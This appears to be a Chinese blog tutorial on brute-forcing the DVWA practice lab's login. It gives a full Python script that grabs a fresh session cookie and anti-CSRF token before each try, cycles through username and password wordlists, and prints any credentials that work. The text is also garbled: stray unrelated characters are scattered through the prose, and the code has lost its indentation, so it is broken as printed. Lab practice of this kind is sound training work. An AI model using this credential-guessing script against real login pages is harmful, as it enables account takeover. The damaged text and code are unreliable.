- 新版的DVWA剛開(kāi)始一登錄的窗口不像以前只要使用Burpsuite抓個(gè)包爆破下就可以，現(xiàn)在是在登錄的請(qǐng)求頭中加了隨機(jī)的token
- 所以使用Burpsuite和OWASP ZAP 沒(méi)有用
- 嘗試使用腳本進(jìn)行匹配爆破猜解出賬戶(hù)和密碼
- Python腳本如下盒蟆，使用的是Python3
#!/usr/local/bin/python3
# -*- coding=utf-8 -*-
# Author: Xiaoyunqi
import urllib
import requests
from bs4 import BeautifulSoup
##第一步，先訪問(wèn) http://10.7.9.23/dvwa/login.php頁(yè)面，獲得服務(wù)器返回的cookie和token
def get_cookie_token():
headers = {'Host': '10.7.9.23',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'}
res = requests.get("http://10.7.9.23/dvwa/login.php", headers=headers)
cookies = res.cookies
a = [(';'.join(['='.join(item) for item in cookies.items()]))] ## a為列表换况，存儲(chǔ)cookie和token
html = res.text
soup = BeautifulSoup(html, "html.parser")
token = soup.form.contents[3]['value']
a.append(token)
return a
##第二步模擬登陸
def Login(a, username, password): # a是包含了cookie和token的列表
headers = {'Host': '10.7.9.23',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection': 'keep-alive',
'Content-Length': '88',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1',
'Cookie': a[0],
'Referer': 'http://10.7.9.23/dvwa/login.php'}
values = {'username': username,
'password': password,
'Login': 'Login',
'user_token': a[1]
}
data = urllib.parse.urlencode(values)
resp = requests.post("http://10.7.9.23/dvwa/login.php", data=data, headers=headers)
return
# 重定向到index.php
def main():
with open("user.txt", 'r') as f:
users = f.readlines()
for user in users:
user = user.strip("\n") # 用戶(hù)名
with open("passwd.txt", 'r') as file:
passwds = file.readlines()
for passwd in passwds:
passwd = passwd.strip("\n") # 密碼
a = get_cookie_token() #a列表中存儲(chǔ)了服務(wù)器返回的cookie和token
Login(a, user, passwd)
headers = {'Host': '10.7.9.23',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Cookie': a[0],
'Referer': 'http://10.7.9.23/dvwa/login.php'}
response = requests.get("http://10.7.9.23/dvwa/index.php", headers=headers)
if response.headers['Content-Length'] == '7524': # 如果登錄成功
print("用戶(hù)名為：%s ,密碼為：%s" % (user, passwd)) # 打印出用戶(hù)名和密碼
break
if __name__ == '__main__':
main()
-
執(zhí)行結(jié)果
2019-11-17_200425.png 免責(zé)申明:本人所撰寫(xiě)的文章，僅供學(xué)習(xí)和研究使用，請(qǐng)勿使用文中的技術(shù)或源碼用于非法用途镜撩，任何人造成的任何負(fù)面影響房资，或觸犯法律，與本人無(wú)關(guān)
